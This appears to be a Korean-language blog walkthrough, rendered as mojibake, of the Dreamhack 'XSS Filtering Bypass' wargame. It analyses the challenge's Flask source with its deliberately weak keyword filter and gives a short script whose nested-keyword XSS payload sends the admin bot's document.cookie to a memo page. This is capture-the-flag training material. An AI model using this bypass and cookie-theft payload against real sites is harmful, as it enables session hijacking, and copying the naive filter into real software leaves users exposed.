๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
โœ’๏ธ Web Hacking/Dreamhack

[Dreamhack] XSS Filtering Bypass ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

by A Lim Han 2023. 8. 10.

โš”๏ธ XSS Filtering Bypass ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

1. ๋ฌธ์ œ์— ๋Œ€ํ•œ ์„ค๋ช…์„ ์ฝ์€ ํ›„ ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

2. ๋‹ค์šด๋ฐ›์€ app.py ํŒŒ์ผ ์˜คํ”ˆ ํ›„ ์ฝ”๋“œ ๋ถ„์„

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

 

A) ํ•„์š”ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ imoport

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์„ค๋ช…
Flask ์›น ํ”„๋ ˆ์ž„์›Œํฌ
Request HTTP ์š”์ฒญ ์ฒ˜๋ฆฌ ๊ด€๋ จ ๊ธฐ๋Šฅ
Render_template HTML ํ…œํ”Œ๋ฆฟ ๋ Œ๋”๋ง
Selenium ์›น ๋ธŒ๋ผ์šฐ์ € ์ž๋™ํ™” ๋„๊ตฌ
Urllib URL ์ธ์ฝ”๋”ฉ ๊ธฐ๋Šฅ
OS ์šด์˜์ฒด์ œ์™€์˜ ์ƒํ˜ธ์ž‘์šฉ ๊ธฐ๋Šฅ

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

 

B) Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ƒ์„ฑ ๋ฐ ์„ค์ •

์ง„ํ–‰ ๊ณผ์ • ์„ค๋ช…
์•ฑ ์ธ์Šคํ„ด์Šค ์ƒ์„ฑ app = Flask(__name__)
์••ํ˜ธํ™”์šฉ ๋žœ๋ค ํ‚ค ์ƒ์„ฑ app.secret_key = os.urandom(32)
์˜ˆ์™ธ ์ฒ˜๋ฆฌ๋ฅผ ํ†ตํ•œ flag.txt ํŒŒ์ผ ์ฝ๊ธฐ try ~ except ๋ฌธ

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True
    
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

 

C) ์›น ๋ธŒ๋ผ์šฐ์ € ์ž๋™ํ™” ๊ด€๋ จ ํ•จ์ˆ˜ ์ •์˜

ํ•จ์ˆ˜ ์šฉ๋„
read_url(url, cookie) ํ•จ์ˆ˜ ์ฃผ์–ด์ง„ URL์„ ๋ธŒ๋ผ์šฐ์ €๋กœ ์—ด์–ด๋ณด๊ณ , ์ฟ ํ‚ค ์ถ”๊ฐ€ ์š”์ฒญ
check_xss(param, cookie) ํ•จ์ˆ˜ XSS(Cross-Site Scripting) ์ทจ์•ฝ์  ์‹œ๋ฎฌ๋ ˆ์ด์…˜์„ ์œ„ํ•ด
์ฃผ์–ด์ง„ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ URL์„ ์ƒ์„ฑ
+
read_url() ํ•จ์ˆ˜ ํ˜ธ์ถœํ•˜์—ฌ ํ…Œ์ŠคํŠธ

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

 

D) ํ•„ํ„ฐ๋ง ํ•จ์ˆ˜ xss_filter()

:  ์ฃผ์–ด์ง„ ํ…์ŠคํŠธ์—์„œ ํŠน์ • ํ‚ค์›Œ๋“œ("script", "on", "javascript")๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ ์ œ๊ฑฐ

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

 

E) ๋ผ์šฐํŠธ ๋ฐ ํ•ธ๋“ค๋Ÿฌ ์ •์˜

์ ‘์† ๊ฒฝ๋กœ ์ง„ํ–‰ ์ž‘์—…
"/" ๊ฒฝ๋กœ์— ์ ‘์† ์‹œ "index.html" ํ…œํ”Œ๋ฆฟ ๋ Œ๋”๋ง
"/vuln" ๊ฒฝ๋กœ์— ์ ‘์† ์‹œ ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ "param" ๊ฐ’์„ ๋ฐ›์•„์„œ xss_filter ํ•จ์ˆ˜๋ฅผ ์ ์šฉํ•œ ํ›„ ๋ฐ˜ํ™˜
"/flag" ๊ฒฝ๋กœ์— ์ ‘์† ์‹œ  GET ์š”์ฒญ์€ "flag.html" ํ…œํ”Œ๋ฆฟ ๋ Œ๋”๋ง, POST ์š”์ฒญ์€ ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ "param" ๊ฐ’์„ ์ฒดํฌํ•œ ํ›„ ๊ฒฐ๊ณผ ๋ฐ˜ํ™˜
"/memo" ๊ฒฝ๋กœ์— ์ ‘์† ์‹œ ๊ฒฝ๋กœ์— ์ ‘์† ์‹œ, ์ฟผ๋ฆฌ ํŒŒ๋ผ๋ฏธํ„ฐ "memo" ๊ฐ’์„ ๋ฐ›์•„์„œ ์ „์—ญ ๋ณ€์ˆ˜์— ๋ˆ„์  ์ €์žฅํ•œ ํ›„ "memo.html" ํ…œํ”Œ๋ฆฟ ๋ Œ๋”๋ง

app.run(host="0.0.0.0", port=8000)

 

F) ๋ผ์šฐํŠธ ๋ฐ ํ•ธ๋“ค๋Ÿฌ ์ •์˜

:  0.0.0.0 ์ฃผ์†Œ์˜ 8000 ํฌํŠธ๋กœ ์•ฑ ์‹คํ–‰

3. ๋‹ค์‹œ ๋ฌธ์ œ ํŽ˜์ด์ง€๋กœ ๋Œ์•„์™€ ์„œ๋ฒ„ ์ƒ์„ฑ

-->  ์ƒ์„ฑ๋œ http://host3.dreamhack.games:16338/ ์œผ๋กœ ์ ‘์†

 

4. ๋ฌธ์ œ ํ•ด๊ฒฐ์„ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ ์ž‘์„ฑ ํ›„ ์‹คํ–‰

import requests

url = 'http://host3.dreamhack.games:16338/flag'
data = {"param": '<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>'}

r = requests.post(url=url, data=data)

print(r.text)

 

--> ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ํ™˜๊ฒฝ์€ Google Colab


โ€ป ์ฝ”๋“œ ์„ค๋ช…

โ‘  requests ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ Import
:  HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋Š”๋ฐ ์ด์šฉ๋˜๋Š” requests ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ž„ํฌํŠธ

โ‘ก ์Šคํฌ๋ฆฝํŠธ์˜ ๋Œ€์ƒ์ด ๋˜๋Š” URL ์„ค์ •
:  ์š”์ฒญ์„ ๋ณด๋‚ผ URL ์ •์˜

โ‘ข Data ์„ค์ •
: POST ์š”์ฒญ ์‹œ ํ•จ๊ป˜ ์ „์†กํ•  data ์„ค์ •

โ‘ฃ POST ์š”์ฒญ ์ „์†ก
:  โ‘ข๋ฒˆ ๊ณผ์ •์—์„œ ์„ค์ •ํ•œ data ๋ณ€์ˆ˜์˜ ๋‚ด์šฉ์„ ํฌํ•จํ•˜์—ฌ, ๋Œ€์ƒ URL์— POST ์š”์ฒญ ์ „์†ก

โ‘ค ์‘๋‹ต ์ถœ๋ ฅ
:  ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ๋ฐ›์€ ์‘๋‹ต์„ ํ…์ŠคํŠธ ํ˜•ํƒœ๋กœ ์ถœ๋ ฅ

5. ๋‹ค์‹œ ์„œ๋ฒ„๋กœ ๋Œ์•„์™€ "memo" ํด๋ฆญ  -->  FLAG ํ™•์ธ ๊ฐ€๋Šฅ

์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ์ „

์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ํ›„

 


 

๋ฌธ์ œํ’€์ด ์ฐธ๊ณ : https://ethical-hack.tistory.com/92